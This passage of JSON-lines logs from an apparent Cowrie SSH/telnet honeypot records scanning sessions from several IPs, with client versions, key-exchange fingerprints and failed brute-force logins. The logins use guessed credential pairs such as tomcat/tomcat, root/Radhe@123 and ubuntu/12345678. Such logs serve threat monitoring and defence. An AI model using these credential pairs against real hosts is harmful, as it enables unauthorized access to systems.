{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:28:42.827924Z","src_ip":"122.168.114.167","session":"2a187f36dcef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"tomcat","message":"login attempt [tomcat/tomcat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:29:08.190807Z","src_ip":"122.168.114.167","session":"2a187f36dcef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.208","src_port":38320,"dst_ip":"159.203.135.109","dst_port":22,"session":"1af2968600c8","protocol":"ssh","message":"New connection: 103.13.206.208:38320 (159.203.135.109:22) [session: 1af2968600c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:29:11.587487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:29:11.592126Z","src_ip":"103.13.206.208","session":"1af2968600c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:29:11.828213Z","src_ip":"103.13.206.208","session":"1af2968600c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Radhe@123","message":"login attempt [root/Radhe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:29:12.807334Z","src_ip":"103.13.206.208","session":"1af2968600c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"37.8","message":"Connection lost after 37.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:29:13.431211Z","src_ip":"122.168.114.167","session":"2a187f36dcef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:29:14.052730Z","src_ip":"103.13.206.208","session":"1af2968600c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.114.22.126","src_port":37380,"dst_ip":"10.17.0.5","dst_port":22,"session":"7594324b63fb","protocol":"ssh","message":"New connection: 210.114.22.126:37380 (10.17.0.5:22) [session: 7594324b63fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:29:18.159331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:29:18.167803Z","src_ip":"210.114.22.126","session":"7594324b63fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:29:18.461320Z","src_ip":"210.114.22.126","session":"7594324b63fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"000000","message":"login attempt [test/000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:29:20.983208Z","src_ip":"210.114.22.126","session":"7594324b63fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:29:22.274356Z","src_ip":"210.114.22.126","session":"7594324b63fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":46282,"dst_ip":"159.203.135.109","dst_port":22,"session":"33eb03b48269","protocol":"ssh","message":"New connection: 122.168.114.167:46282 (159.203.135.109:22) [session: 33eb03b48269]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:29:22.606477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:29:25.632331Z","src_ip":"122.168.114.167","session":"33eb03b48269","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:29:25.635780Z","src_ip":"122.168.114.167","session":"33eb03b48269","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.75.222.164","src_port":52560,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b0cbb14e4c7","protocol":"ssh","message":"New connection: 106.75.222.164:52560 (10.17.0.5:22) [session: 0b0cbb14e4c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:29:29.912790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:29:29.918695Z","src_ip":"106.75.222.164","session":"0b0cbb14e4c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:29:30.159581Z","src_ip":"106.75.222.164","session":"0b0cbb14e4c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345678","message":"login attempt [ubuntu/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:29:31.882277Z","src_ip":"106.75.222.164","session":"0b0cbb14e4c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:29:33.129922Z","src_ip":"106.75.222.164","session":"0b0cbb14e4c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student","message":"login attempt [student/student] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:29:36.988707Z","src_ip":"122.168.114.167","session":"33eb03b48269","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.0","message":"Connection lost after 19.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:29:41.646919Z","src_ip":"122.168.114.167","session":"33eb03b48269","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"18.218.118.203","src_port":46428,"dst_ip":"10.17.0.5","dst_port":23,"session":"e77fec242f77","protocol":"telnet","message":"New connection: 18.218.118.203:46428 (10.17.0.5:23) [session: e77fec242f77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:29:44.742970Z"}
{"eventid":"cowrie.session.closed","duration":10.022457122802734,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:29:54.765307Z","src_ip":"18.218.118.203","session":"e77fec242f77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"18.218.118.203","src_port":34768,"dst_ip":"159.203.135.109","dst_port":23,"session":"c33600a35a26","protocol":"telnet","message":"New connection: 18.218.118.203:34768 (159.203.135.109:23) [session: c33600a35a26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:30:01.246461Z"}
{"eventid":"cowrie.session.closed","duration":"301.3","message":"Connection lost after 301.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:30:05.629888Z","src_ip":"106.75.222.164","session":"95dd4be37a23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":48696,"dst_ip":"159.203.135.109","dst_port":22,"session":"08665efe4f5b","protocol":"ssh","message":"New connection: 122.168.114.167:48696 (159.203.135.109:22) [session: 08665efe4f5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:30:06.363534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:30:09.166817Z","src_ip":"122.168.114.167","session":"08665efe4f5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:30:09.170979Z","src_ip":"122.168.114.167","session":"08665efe4f5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.051586389541626,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:30:11.297878Z","src_ip":"18.218.118.203","session":"c33600a35a26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":50656,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd38007c157b","protocol":"telnet","message":"New connection: 185.26.126.47:50656 (159.203.135.109:23) [session: fd38007c157b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:30:18.776369Z"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demo","message":"login attempt [demo/demo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:30:19.564389Z","src_ip":"122.168.114.167","session":"08665efe4f5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.51.122.36","src_port":44591,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d6a4833427b","protocol":"telnet","message":"New connection: 38.51.122.36:44591 (159.203.135.109:23) [session: 5d6a4833427b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:30:21.525781Z"}
{"eventid":"cowrie.session.closed","duration":"17.8","message":"Connection lost after 17.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:30:24.167547Z","src_ip":"122.168.114.167","session":"08665efe4f5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":60028,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea913e8cbeac","protocol":"telnet","message":"New connection: 185.26.126.47:60028 (159.203.135.109:23) [session: ea913e8cbeac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:30:25.930682Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.208","src_port":47524,"dst_ip":"159.203.135.109","dst_port":22,"session":"640796b45d1a","protocol":"ssh","message":"New connection: 103.13.206.208:47524 (159.203.135.109:22) [session: 640796b45d1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:30:29.963182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:30:29.968298Z","src_ip":"103.13.206.208","session":"640796b45d1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:30:30.205885Z","src_ip":"103.13.206.208","session":"640796b45d1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Xu123456","message":"login attempt [root/Xu123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:30:31.192975Z","src_ip":"103.13.206.208","session":"640796b45d1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:30:32.432933Z","src_ip":"103.13.206.208","session":"640796b45d1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.557040214538574,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:30:34.082677Z","src_ip":"38.51.122.36","session":"5d6a4833427b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":51096,"dst_ip":"159.203.135.109","dst_port":22,"session":"d70785f34a2d","protocol":"ssh","message":"New connection: 122.168.114.167:51096 (159.203.135.109:22) [session: d70785f34a2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:30:44.152805Z"}
{"eventid":"cowrie.session.connect","src_ip":"210.114.22.126","src_port":54616,"dst_ip":"10.17.0.5","dst_port":22,"session":"9571dcd2a549","protocol":"ssh","message":"New connection: 210.114.22.126:54616 (10.17.0.5:22) [session: 9571dcd2a549]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:30:45.735795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:30:45.740734Z","src_ip":"210.114.22.126","session":"9571dcd2a549","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 